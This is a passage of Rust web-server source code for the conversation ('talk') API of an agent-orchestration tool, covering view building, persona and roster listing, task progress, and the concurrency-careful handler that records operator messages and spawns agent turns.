8115            let original = &snapshot.turns[index];
8116            if turn.messages.is_empty() {
8117                if let Some(display) = talk::notice_display(&snapshot, original, None) {
8118                    turn.messages.push(talk::Message {
8119                        sender: Some(talk::Sender::Magi),
8120                        body: original.body.clone(),
8121                        display: Some(display),
8122                        attachments: original.attachments.clone(),
8123                        reply: None,
8124                    });
8125                }
8126            } else {
8127                for (i, message) in turn.messages.iter_mut().enumerate() {
8128                    message.display =
8129                        talk::notice_display(&snapshot, original, original.messages.get(i));
8130                    if message.display.is_some() {
8131                        message.sender = Some(talk::Sender::Magi);
8132                    }
8133                }
8134            }
8135        }
8136        for message in &mut talk.pending_messages {
8137            if message.display.is_none()
8138                && (message.sender == Some(talk::Sender::Magi)
8139                    || snapshot
8140                        .completion_notices
8141                        .iter()
8142                        .any(|r| r.notice == message.body))
8143            {
8144                message.display = crate::prompt::legacy_notice_display(&message.body);
8145                if message.display.is_some() {
8146                    message.sender = Some(talk::Sender::Magi);
8147                }
8148            }
8149        }
8150        if talk.pending_messages.is_empty()
8151            && snapshot
8152                .completion_notices
8153                .iter()
8154                .any(|r| r.notice == talk.pending)
8155            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8156        {
8157            talk.pending_messages.push(talk::Message {
8158                sender: Some(talk::Sender::Magi),
8159                display: Some(display),
8160                body: talk.pending.clone(),
8161                attachments: talk.pending_attachments.clone(),
8162                reply: None,
8163            });
8164        }
8165        let excerpts: Vec<Vec<Option<String>>> = talk
8166            .turns
8167            .iter()
8168            .map(|turn| {
8169                turn.messages
8170                    .iter()
8171                    .map(|m| {
8172                        m.display
8173                            .as_ref()
8174                            .map(|d| d.facts.chars().take(240).collect())
8175                    })
8176                    .collect()
8177            })
8178            .collect();
8179        for turn in &mut talk.turns {
8180            let provenance = talk::sender(turn, None);
8181            turn.sender = Some(provenance);
8182            for message in &mut turn.messages {
8183                message.sender = Some(message.sender.unwrap_or(provenance));
8184            }
8185        }
8186        // Old reply snapshots have only a role; recover provenance from their target.
8187        let senders: Vec<Vec<talk::Sender>> = talk
8188            .turns
8189            .iter()
8190            .map(|turn| {
8191                if turn.messages.is_empty() {
8192                    vec![talk::sender(turn, None)]
8193                } else {
8194                    turn.messages
8195                        .iter()
8196                        .map(|m| talk::sender(turn, Some(m)))
8197                        .collect()
8198                }
8199            })
8200            .collect();
8201        for reply in talk
8202            .turns
8203            .iter_mut()
8204            .flat_map(|t| t.messages.iter_mut())
8205            .chain(talk.pending_messages.iter_mut())
8206            .filter_map(|m| m.reply.as_mut())
8207        {
8208            if let Some(Some(excerpt)) = excerpts
8209                .get(reply.target.turn)
8210                .and_then(|ms| ms.get(reply.target.message))
8211            {
8212                reply.excerpt = excerpt.clone();
8213                reply.sender = Some(talk::Sender::Magi);
8214            }
8215            if reply.sender.is_none() {
8216                reply.sender = senders
8217                    .get(reply.target.turn)
8218                    .and_then(|messages| messages.get(reply.target.message))
8219                    .copied();
8220            }
8221        }
8222        let context = talk::context_usage(&talk, cfg);
8223        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8224            .turns
8225            .iter()
8226            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8227            .collect();
8228        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8229            .turns
8230            .iter()
8231            .map(|turn| {
8232                if turn.messages.is_empty() {
8233                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8234                } else {
8235                    turn.messages
8236                        .iter()
8237                        .map(|message| {
8238                            notice_markdown(
8239                                message.sender.unwrap_or(talk::Sender::Operator),
8240                                &message.body,
8241                                message.display.as_ref(),
8242                            )
8243                        })
8244                        .collect()
8245                }
8246            })
8247            .collect();
8248        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8249            .pending_messages
8250            .iter()
8251            .map(|message| {
8252                notice_markdown(
8253                    message.sender.unwrap_or(talk::Sender::Operator),
8254                    &message.body,
8255                    message.display.as_ref(),
8256                )
8257            })
8258            .collect();
8259        for nodes in &mut turn_bodies_md {
8260            references.markdown(nodes);
8261        }
8262        for nodes in turn_messages_md
8263            .iter_mut()
8264            .flatten()
8265            .chain(pending_messages_md.iter_mut())
8266            .flatten()
8267        {
8268            references.markdown(nodes);
8269        }
8270        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8271        let persona_name = persona::find(specs, &talk.persona)
8272            .filter(|p| !p.is_default())
8273            .map(|p| p.name);
8274        let mut avatar_persona = persona::find(specs, &talk.persona)
8275            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8276        // A removed configured persona may still have an override and old talks.
8277        if avatar_persona.id != talk.persona
8278            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8279        {
8280            avatar_persona.id.clone_from(&talk.persona);
8281            avatar_persona.icon = None;
8282        }
8283        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8284        let approvals_store = ask::Questions::at(home.join("questions"));
8285        let merge_approvals = talk
8286            .notified
8287            .iter()
8288            .filter_map(|key| key.strip_prefix("question:"))
8289            .filter_map(|id| approvals_store.get(id).ok())
8290            .filter(|q| crate::task_chat::approval_offered(&talk, q))
8291            .filter_map(|q| {
8292                Some(ChatApproval {
8293                    question: q.id,
8294                    target: q.merge_target?,
8295                })
8296            })
8297            .collect();
8298        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8299        Self {
8300            turn_bodies_md,
8301            turn_messages_md,
8302            pending_messages_md,
8303            merge_approvals,
8304            thinking,
8305            context,
8306            operator_name,
8307            persona_name,
8308            persona_avatar,
8309            magi_avatar: magi_icon_url(home),
8310            operator_avatar: operator_icon_url(home),
8311            talk,
8312        }
8313    }
8314}
8315
8316/// Parse only the user-facing representation of an explicitly identified MAGI send.
8317fn notice_markdown(
8318    sender: talk::Sender,
8319    body: &str,
8320    display: Option<&crate::prompt::NoticeDisplay>,
8321) -> Option<Vec<md::Node>> {
8322    if sender != talk::Sender::Magi {
8323        return None;
8324    }
8325    let text = if let Some(display) = display {
8326        display.facts.as_str()
8327    } else {
8328        // Unknown completion templates may contain internal directives. Never
8329        // promote their agent input to the Markdown display surface.
8330        if crate::prompt::is_completion_notice(body)
8331            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8332        {
8333            return None;
8334        }
8335        body.strip_prefix("magi: ").unwrap_or(body)
8336    };
8337    Some(md::to_nodes(text, &md::ImageBase::None))
8338}
8339
8340/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
8341/// conversation has filed, so the phone can follow one from inside the
8342/// conversation that asked for it rather than hunting the Queue for a task id
8343/// it may not remember.
8344#[derive(Debug, Serialize)]
8345struct TalkDetailView {
8346    #[serde(flatten)]
8347    view: TalkView,
8348    tasks: Vec<TaskView>,
8349    task_progress: TalkTaskProgress,
8350    /// The agents this talk's repository can switch to; empty when its
8351    /// configuration cannot be read, which must not fail the whole detail.
8352    roster: Vec<RosterEntry>,
8353    /// The personas the conversation can pick from. The built-ins are always
8354    /// listed, even when the repository's configuration cannot be read.
8355    personas: Vec<PersonaEntry>,
8356}
8357
8358/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
8359#[derive(Debug, Serialize)]
8360struct TalkTaskProgress {
8361    state: &'static str,
8362    total: usize,
8363    done: usize,
8364    counts: std::collections::BTreeMap<&'static str, usize>,
8365    unfinished_ids: Vec<String>,
8366}
8367
8368fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8369    let mut counts = std::collections::BTreeMap::from([
8370        ("queued", 0),
8371        ("running", 0),
8372        ("done", 0),
8373        ("failed", 0),
8374        ("held", 0),
8375        ("blocked", 0),
8376        ("parked", 0),
8377    ]);
8378    let mut unfinished_ids = Vec::new();
8379    for task in tasks {
8380        *counts.entry(task.status.as_str()).or_default() += 1;
8381        if task.status != TaskStatus::Done {
8382            unfinished_ids.push(task.id.clone());
8383        }
8384    }
8385    TalkTaskProgress {
8386        state: if tasks.is_empty() {
8387            "none"
8388        } else if unfinished_ids.is_empty() {
8389            "complete"
8390        } else {
8391            "incomplete"
8392        },
8393        total: tasks.len(),
8394        done: tasks.len() - unfinished_ids.len(),
8395        counts,
8396        unfinished_ids,
8397    }
8398}
8399
8400/// One persona as the talk's persona selector shows it.
8401#[derive(Debug, Serialize)]
8402struct PersonaEntry {
8403    id: String,
8404    name: String,
8405    /// Avatar URL, see [`TalkView::persona_avatar`].
8406    avatar: String,
8407}
8408
8409/// One roster agent as the talk's agent selector shows it.
8410#[derive(Debug, Serialize)]
8411struct RosterEntry {
8412    id: String,
8413    kind: AgentKind,
8414    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
8415    runnable: bool,
8416}
8417
8418/// `GET /api/talks`.
8419///
8420/// Every conversation, open ones first and newest first - [`Talks::list`]'s
8421/// own order.
8422async fn talks_list(
8423    State(ui): State<Arc<Ui>>,
8424    Query(q): Query<ListQuery>,
8425) -> ApiResult<Json<Vec<TalkView>>> {
8426    blocking(move || {
8427        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
8428        let talks = q.ids.as_ref().map_or_else(
8429            || ui.talks.list(),
8430            |ids| {
8431                ids.split(',')
8432                    .filter(|id| plain_record_id(id))
8433                    .filter_map(|id| ui.talks.get(id).ok())
8434                    .collect()
8435            },
8436        );
8437        let references = if talks.iter().any(id_links::has_references) {
8438            ui.references.get(
8439                &ui.runs,
8440                &ui.queue,
8441                &ui.questions,
8442                &ui.talks,
8443                talks.iter().any(id_links::has_findings),
8444            )
8445        } else {
8446            Arc::new(id_links::IdIndex::default())
8447        };
8448        Ok(Json(
8449            talks
8450                .into_iter()
8451                .filter(|talk| q.contains(&talk.id))
8452                .map(|talk| {
8453                    let thinking = ui.is_thinking(&talk.id);
8454                    let cfg = configs
8455                        .entry(talk.repo.clone())
8456                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
8457                    TalkView::with_references(talk, thinking, cfg.as_ref(), &ui.home, &references)
8458                })
8459                .collect(),
8460        ))
8461    })
8462    .await
8463}
8464
8465/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
8466/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
8467/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
8468/// end still opens a talk against an older binary.
8469#[derive(Debug, Default, Deserialize)]
8470#[serde(default)]
8471struct NewTalk {
8472    agent: Option<String>,
8473    repo: Option<PathBuf>,
8474    /// Remembered choices from the browser. Soft: kept as raw JSON so a
8475    /// wrong type is dropped like a stale value instead of failing the request;
8476    /// each falls back to its default on its own (see [`talk::begin_with`]).
8477    preferred_agent: Option<serde_json::Value>,
8478    persona: Option<serde_json::Value>,
8479    implementers: Option<serde_json::Value>,
8480}
8481
8482/// `POST /api/talks` - open a conversation. Takes no agent turn: see
8483/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
8484async fn talk_post(
8485    State(ui): State<Arc<Ui>>,
8486    body: std::result::Result<Json<NewTalk>, JsonRejection>,
8487) -> ApiResult<impl IntoResponse> {
8488    // An absent body, or an empty one, is the normal way to open a talk - see
8489    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
8490    // rather than refused.
8491    let body = match body {
8492        Ok(Json(body)) => body,
8493        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
8494        Err(e) => return Err(ApiError::bad_request(e.body_text())),
8495    };
8496    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
8497    let cfg = config_for(&repo).await?;
8498    let view = blocking(move || {
8499        let preferred = talk::Preferred {
8500            agent: body
8501                .preferred_agent
8502                .as_ref()
8503                .and_then(|v| v.as_str())
8504                .map(str::to_owned),
8505            persona: body
8506                .persona
8507                .as_ref()
8508                .and_then(|v| v.as_str())
8509                .map(str::to_owned),
8510            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
8511        };
8512        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
8513        let thinking = ui.is_thinking(&talk.id);
8514        Ok(TalkView::new(talk, thinking, &ui))
8515    })
8516    .await?;
8517    Ok((StatusCode::CREATED, Json(view)))
8518}
8519
8520/// Transcript first: unrelated queue history and repository probes are deferred.
8521async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
8522    blocking(move || {
8523        let id = resolve_talk(&ui.talks, &id)?;
8524        let talk = ui.talks.get(&id)?;
8525        let thinking = ui.is_thinking(&id);
8526        // The browser already resolves Markdown text/code references after
8527        // rendering. A cold reference/review index must not gate the transcript.
8528        Ok(Json(TalkView::with_references(
8529            talk,
8530            thinking,
8531            None,
8532            &ui.home,
8533            &id_links::IdIndex::default(),
8534        )))
8535    })
8536    .await
8537}
8538
8539async fn talk_sections(
8540    State(ui): State<Arc<Ui>>,
8541    Path(id): Path<String>,
8542) -> ApiResult<Json<serde_json::Value>> {
8543    blocking(move || {
8544        let id = resolve_talk(&ui.talks, &id)?;
8545        let talk = ui.talks.get(&id)?;
8546        let tasks = ui.find_tasks_for_talk(&talk.id)?;
8547        let task_progress = talk_task_progress(&tasks);
8548        let tasks: Vec<_> = tasks
8549            .into_iter()
8550            .map(|task| {
8551                serde_json::json!({
8552                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
8553                })
8554            })
8555            .collect();
8556        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8557        let roster: Vec<_> = cfg
8558            .as_ref()
8559            .map(|cfg| {
8560                cfg.agents
8561                    .iter()
8562                    .map(|a| RosterEntry {
8563                        id: a.id.clone(),
8564                        kind: a.kind,
8565                        runnable: agent::installed(a),
8566                    })
8567                    .collect()
8568            })
8569            .unwrap_or_default();
8570        let specs = cfg
8571            .as_ref()
8572            .map(|cfg| cfg.talk.personas.clone())
8573            .unwrap_or_default();
8574        let personas: Vec<_> = persona::catalog(&specs)
8575            .into_iter()
8576            .map(|p| PersonaEntry {
8577                avatar: avatar_url(&ui.home, &talk.id, &p),
8578                id: p.id,
8579                name: p.name,
8580            })
8581            .collect();
8582        let active_persona = persona::find(&specs, &talk.persona)
8583            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
8584        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
8585        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
8586        Ok(Json(serde_json::json!({
8587            "tasks": tasks, "task_progress": task_progress,
8588            "roster": roster, "personas": personas,
8589            "context": talk::context_usage(&talk, cfg.as_ref()),
8590            "context_for": talk.updated_at,
8591            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
8592            "persona_name": persona_name,
8593            "persona_avatar": persona_avatar,
8594        })))
8595    })
8596    .await
8597}
8598
8599/// `GET /api/talks/{id}`.
8600async fn talk_detail(
8601    State(ui): State<Arc<Ui>>,
8602    Path(id): Path<String>,
8603) -> ApiResult<Json<TalkDetailView>> {
8604    blocking(move || {
8605        let id = resolve_talk(&ui.talks, &id)?;
8606        let talk = ui.talks.get(&id)?;
8607        let thinking = ui.is_thinking(&talk.id);
8608        let tasks = ui.find_tasks_for_talk(&talk.id)?;
8609        let task_progress = talk_task_progress(&tasks);
8610        let tasks = tasks.into_iter().map(TaskView::from).collect();
8611        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8612        let roster = cfg
8613            .as_ref()
8614            .map(|cfg| {
8615                cfg.agents
8616                    .iter()
8617                    .map(|a| RosterEntry {
8618                        id: a.id.clone(),
8619                        kind: a.kind,
8620                        runnable: agent::installed(a),
8621                    })
8622                    .collect()
8623            })
8624            .unwrap_or_default();
8625        let specs = cfg
8626            .as_ref()
8627            .map(|cfg| cfg.talk.personas.clone())
8628            .unwrap_or_default();
8629        let personas = persona::catalog(&specs)
8630            .into_iter()
8631            .map(|p| PersonaEntry {
8632                avatar: avatar_url(&ui.home, &talk.id, &p),
8633                id: p.id,
8634                name: p.name,
8635            })
8636            .collect();
8637        Ok(Json(TalkDetailView {
8638            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
8639            tasks,
8640            task_progress,
8641            roster,
8642            personas,
8643        }))
8644    })
8645    .await
8646}
8647
8648/// The body of `POST /api/talks/{id}/say`.
8649///
8650/// `attachments` names ids `POST /api/talks/{id}/attachments` already
8651/// returned - never bytes of its own - so a turn with no images just omits
8652/// the field, which is what an older front end still does.
8653#[derive(Debug, Default, Deserialize)]
8654#[serde(default, deny_unknown_fields)]
8655struct NewTalkTurn {
8656    reply_to: Option<talk::ReplyTarget>,
8657    text: String,
8658    attachments: Vec<String>,
8659}
8660
8661#[derive(Debug, Deserialize)]
8662#[serde(deny_unknown_fields)]
8663struct EditTalkPending {
8664    #[serde(default)]
8665    message: Option<usize>,
8666    text: String,
8667    expected_text: String,
8668    expected_attachments: Vec<String>,
8669}
8670
8671#[derive(Debug, Deserialize)]
8672#[serde(deny_unknown_fields)]
8673struct ClearTalkPending {
8674    expected_text: String,
8675    expected_attachments: Vec<String>,
8676}
8677
8678/// `POST /api/talks/{id}/say` - one turn of the conversation.
8679///
8680/// Not filesystem work, and therefore not routed through [`blocking`]: this
8681/// route spawns an agent CLI and a turn here can run for the whole of
8682/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
8683/// research turn is expected to run commands rather than answer from what it
8684/// already knows. Holding an HTTP connection open that long is not a thing
8685/// to ask a phone to do; the operator's message is recorded and answered for
8686/// immediately, and the reply lands in the background, discovered through
8687/// the change stream's `talks_rev` the same way every other update on this
8688/// surface is.
8689async fn talk_say(
8690    State(ui): State<Arc<Ui>>,
8691    Path(id): Path<String>,
8692    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
8693) -> ApiResult<(StatusCode, Json<TalkView>)> {
8694    let admission = ui.begin_admission()?;
8695    admitted(admission, async move {
8696    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8697    if body.text.trim().is_empty() && body.attachments.is_empty() {
8698        return Err(ApiError::bad_request("say something"));
8699    }
8700
8701    let id = {
8702        let ui = Arc::clone(&ui);
8703        let asked = id.clone();
8704        blocking(move || resolve_talk(&ui.talks, &asked)).await?
8705    };
8706    // A closed Talk never accepts a new immediate or queued turn. Check this
8707    // before claiming a slot so its ordinary domain refusal is a 409, not an
8708    // incidental failure from the later record/queue write.
8709    {
8710        let ui = Arc::clone(&ui);
8711        let id = id.clone();
8712        blocking(move || {
8713            let talk = ui.talks.get(&id)?;
8714            if !talk.status.open() {
8715                return Err(ApiError::conflict(format!(
8716                    "talk {} is {} and takes no more turns",
8717                    talk.short(),
8718                    talk.status.as_str()
8719                )));
8720            }
8721            Ok(())
8722        })
8723        .await?;
8724    }
8725
8726    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
8727    // actually stores, before anything is written - an unknown id is a 4xx
8728    // that names it rather than a turn (or a queued draft) silently missing
8729    // an image.
8730    let attachments = {
8731        let ui = Arc::clone(&ui);
8732        let id = id.clone();
8733        let ids = body.attachments.clone();
8734        blocking(move || {
8735            ids.into_iter()
8736                .map(|att_id| {
8737                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
8738                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
8739                    })
8740                })
8741                .collect::<ApiResult<Vec<talk::Attachment>>>()
8742        })
8743        .await?
8744    };
8745    let _publication = crate::consult::publication_guard(&ui.talks, &id)
8746        .await.map_err(ApiError::from)?;
8747
8748    // Pending recovery and a new immediate turn are decided under the same
8749    // claim lock. Without that one critical section, a second `/say` can see
8750    // the first request's claim as "busy" and append itself to the recovered
8751    // draft before the first request rejects it.
8752    let start = {
8753        let ui = Arc::clone(&ui);
8754        let id = id.clone();
8755        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
8756    };
8757    let turn_guard = match start {
8758        TalkTurnStart::Claimed(turn_guard) => turn_guard,
8759        TalkTurnStart::Pending => {
8760            return Err(ApiError::conflict(
8761                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
8762            ));
8763        }
8764        TalkTurnStart::Foreign => {
8765            return Err(ApiError::conflict(
8766                "a turn is already running in another process; try again when it has finished",
8767            ));
8768        }
8769        TalkTurnStart::Busy => {
8770            // A turn is already running: queue rather than refuse. See
8771            // `Ui::begin_talk_turn` and `talk::queue`.
8772            //
8773            // The queue write and the drain it may owe live inside the task
8774            // `tokio::spawn` hands to the runtime, for the same reason the
8775            // immediate path below puts `record` there: a dropped handler
8776            // future must not be able to land between a durable write and
8777            // the task that answers it. `blocking` runs its closure on
8778            // `spawn_blocking`, which finishes whether or not anyone is left
8779            // to receive its result - so a disconnect at the `.await` below
8780            // would otherwise leave the draft persisted and the reclaimed
8781            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
8782            // ever started and the queued text stranded until some later
8783            // `say` happened to pick it up. The caller's 202 travels back
8784            // over a `oneshot`, sent the moment the write lands.
8785            let (tx, rx) = tokio::sync::oneshot::channel();
8786            tokio::spawn({
8787                let ui = Arc::clone(&ui);
8788                let id = id.clone();
8789                let said = body.text.clone();
8790                let reply_to = body.reply_to.clone();
8791                async move {
8792                    let written = blocking({
8793                        let ui = Arc::clone(&ui);
8794                        let id = id.clone();
8795                        move || {
8796                            let mut talk = ui.talks.get(&id)?;
8797                            // A test-only stop point, right before the write
8798                            // an interleaving test needs to pin - see
8799                            // `BusyQueueGate`. `None` in every real server:
8800                            // the field only exists under `#[cfg(test)]`.
8801                            #[cfg(test)]
8802                            if let Some(gate) = ui
8803                                .busy_queue_gate
8804                                .lock()
8805                                .unwrap_or_else(PoisonError::into_inner)
8806                                .take()
8807                            {
8808                                let _ = gate.reached.send(());
8809                                let _ = gate.release.recv();
8810                            }
8811                            if let Err(error) = talk::queue_reply(
8812                                &mut talk,
8813                                &ui.talks,
8814                                &said,
8815                                attachments,
8816                                reply_to,
8817                            ) {
8818                                if let Ok(fresh) = ui.talks.get(&id) {
8819                                    if !fresh.status.open() {
8820                                        return Err(ApiError::conflict(format!(
8821                                            "talk {} is {} and takes no more turns",
8822                                            fresh.short(),
8823                                            fresh.status.as_str()
8824                                        )));
8825                                    }
8826                                }
8827                                return Err(
8828                                    if error.to_string().contains("invalid reply target") {
8829                                        ApiError::bad_request("invalid reply target")
8830                                    } else {
8831                                        ApiError::from(error)
8832                                    },
8833                                );
8834                            }
8835                            // The turn that looked busy a moment ago can have
8836                            // finished, found nothing to drain and given up the
8837                            // slot in the gap between that check and this write
8838                            // landing - see `drain_loop`'s own doc for the other
8839                            // half of why that gap would otherwise be able to
8840                            // open at all. Reclaiming the slot here, rather than
8841                            // trusting that whoever held it is still watching, is
8842                            // what stops the text just queued from being stranded
8843                            // until an unrelated future `say` happens to drain
8844                            // it.
8845                            let claim = match ui.begin_queued_talk_turn(&id)? {
8846                                Some(turn_guard) => {
8847                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
8848                                    Some((talk.clone(), cfg, turn_guard))
8849                                }
8850                                None => None,
8851                            };
8852                            let thinking = ui.is_thinking(&id);
8853                            Ok((TalkView::new(talk, thinking, &ui), claim))
8854                        }
8855                    })
8856                    .await;
8857                    #[cfg(not(test))]
8858                    {
8859                        match written {
8860                            Ok((view, reclaimed)) => {
8861                                let launched = crate::consult::spawn_turn(&ui.talks, &id).await;
8862                                drop(reclaimed);
8863                                match launched {
8864                                    Ok(_) => { let _ = tx.send(Ok(view)); }
8865                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
8866                                }
8867                            }
8868                            Err(error) => { let _ = tx.send(Err(error)); }
8869                        }
8870                    }
8871                    #[cfg(test)]
8872                    {
8873                    let (view, reclaimed) = match written {
8874                        Ok(pair) => pair,
8875                        Err(e) => {
8876                            // Nobody is listening if the handler's own future
8877                            // was already dropped - that is fine, nothing was
8878                            // persisted and there is no response left to carry
8879                            // this error to.
8880                            let _ = tx.send(Err(e));
8881                            return;
8882                        }
8883                    };
8884                    // If this fails, the caller is gone; the drain below still
8885                    // runs exactly as it would have for a caller that stayed.
8886                    let _ = tx.send(Ok(view));
8887                    if let Some((talk, cfg, turn_guard)) = reclaimed {
8888                        let talks = ui.talks.clone();
8889                        drain_loop(talk, talks, cfg, id, turn_guard).await;
8890                    }
8891                    }
8892                }
8893            });
8894            let view = rx
8895                .await
8896                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
8897            return Ok((StatusCode::ACCEPTED, Json(view)));
8898        }
8899    };
8900
8901    let (talk, cfg) = {
8902        let ui = Arc::clone(&ui);
8903        let id = id.clone();
8904        blocking(move || {
8905            let talk = ui.talks.get(&id)?;
8906            let (cfg, _) = Config::discover(&talk.repo, None)?;
8907            Ok((talk, cfg))
8908        })
8909        .await?
8910    };
8911
8912    let talks = ui.talks.clone();
8913    // `record` runs *inside* the spawned task, rather than in this handler
8914    // followed by a separate `tokio::spawn` for `respond` - axum drops this
8915    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
8916    // doc), and that drop can land at any `.await` this function makes,
8917    // including one that has already produced its result but not yet
8918    // resumed. A message could end up recorded on disk with the handler
8919    // future gone before it ever reached the `tokio::spawn` that would have
8920    // started the reply. `tokio::spawn` itself is a plain, synchronous call
8921    // that hands the whole future to the runtime as one unit - once made, no
8922    // later drop of *this* handler's own future (that call's return value is
8923    // never held onto here) can reach back in and stop it, so record and the
8924    // hand-off to `respond` are unconditionally atomic from the client's
8925    // point of view. The immediate response this handler owes the caller
8926    // travels back over a `oneshot`, sent the moment `record` succeeds.
8927    let (tx, rx) = tokio::sync::oneshot::channel();
8928    tokio::spawn({
8929        #[cfg(test)]
8930        let ui = Arc::clone(&ui);
8931        let talks = talks.clone();
8932        let id = id.clone();
8933        let said = body.text.clone();
8934        let reply_to = body.reply_to.clone();
8935        let mut talk = talk.clone();
8936        async move {
8937            let recorded = blocking({
8938                let talks = talks.clone();
8939                move || {
8940                    if let Err(error) =
8941                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
8942                    {
8943                        if let Ok(fresh) = talks.get(&talk.id) {
8944                            if !fresh.status.open() {
8945                                return Err(ApiError::conflict(format!(
8946                                    "talk {} is {} and takes no more turns",
8947                                    fresh.short(),
8948                                    fresh.status.as_str()
8949                                )));
8950                            }
8951                        }
8952                        return Err(if error.to_string().contains("invalid reply target") {
8953                            ApiError::bad_request("invalid reply target")
8954                        } else {
8955                            ApiError::from(error)
8956                        });
8957                    }
8958                    // `record` mutates `talk` in place to the freshly persisted
8959                    // state (status, pending, and the just-appended operator
8960                    // turn), so returning it here is equivalent to re-reading it
8961                    // from disk - without the extra round trip a re-read would
8962                    // need.
8963                    Ok((said.trim().to_owned(), talk))
8964                }
8965            })
8966            .await;
8967            let (text, talk) = match recorded {
8968                Ok(pair) => pair,
8969                Err(e) => {
8970                    // Nobody is listening if the handler's own future was
8971                    // already dropped - that is fine, there is no response
8972                    // left to carry this error to and nothing was persisted.
8973                    let _ = tx.send(Err(e));
8974                    return;
8975                }
8976            };
8977            #[cfg(not(test))]
8978            {
8979                let _ = (&cfg, &text);
8980                // The reservation becomes durable while this process still
8981                // holds the talk lease. The child waits for that lease; the
8982                // new UI sees its startup reservation immediately.
8983                let result = crate::consult::spawn_recorded_turn(
8984                    &talks, &id, talk.turns.len() - 1,
8985                ).await;
8986                drop(turn_guard);
8987                match result {
8988                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
8989                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
8990                }
8991            }
8992            #[cfg(test)]
8993            {
8994            let queued = talk.clone();
8995            let mut talk = talk;
8996            let thinking = ui.is_thinking(&id);
8997            // If this fails, the caller is gone; the turn still runs below
8998            // exactly as it would have for a caller that stayed connected.
8999            let _ = tx.send(Ok((queued, thinking)));
9000
9001            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9002                // `respond` records the failure in the transcript itself,
9003                // which is what the phone reads; this line is for the
9004                // operator's terminal.
9005                tracing::warn!("talk {id} turn failed: {e:#}");
9006            }
9007            // Anything `talk::queue` added while the turn above was running
9008            // is still owed an answer - see `drain_loop`.
9009            drain_loop(talk, talks, cfg, id, turn_guard).await;
9010            }
9011        }
9012    });
9013
9014    let (queued, thinking) = rx
9015        .await
9016        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9017
9018    // 202: the operator's message is recorded and a turn is running.
9019    Ok((
9020        StatusCode::ACCEPTED,
9021        Json(TalkView::new(queued, thinking, &ui)),
9022    ))
9023    }).await
9024}
9025
9026/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
9027/// changing it. The turn guard is the same per-talk ownership `talk_say`
9028/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
9029async fn talk_pending_resume(
9030    State(ui): State<Arc<Ui>>,
9031    Path(id): Path<String>,
9032) -> ApiResult<(StatusCode, Json<TalkView>)> {
9033    let admission = ui.begin_admission()?;
9034    admitted(admission, async move {
9035        let id = {
9036            let ui = Arc::clone(&ui);
9037            let asked = id.clone();
9038            blocking(move || resolve_talk(&ui.talks, &asked)).await?
9039        };
9040        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9041            .await
9042            .map_err(ApiError::from)?;
9043        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9044            return Err(ApiError::conflict(
9045                "a talk turn is already running; the queued draft will be handled by it",
9046            ));
9047        };
9048        let (talk, cfg) = {
9049            let ui = Arc::clone(&ui);
9050            let id = id.clone();
9051            blocking(move || {
9052                let talk = ui.talks.get(&id)?;
9053                if !talk.status.open() {
9054                    return Err(ApiError::conflict(format!(
9055                        "talk {} is {} and takes no more turns",
9056                        talk.short(),
9057                        talk.status.as_str()
9058                    )));
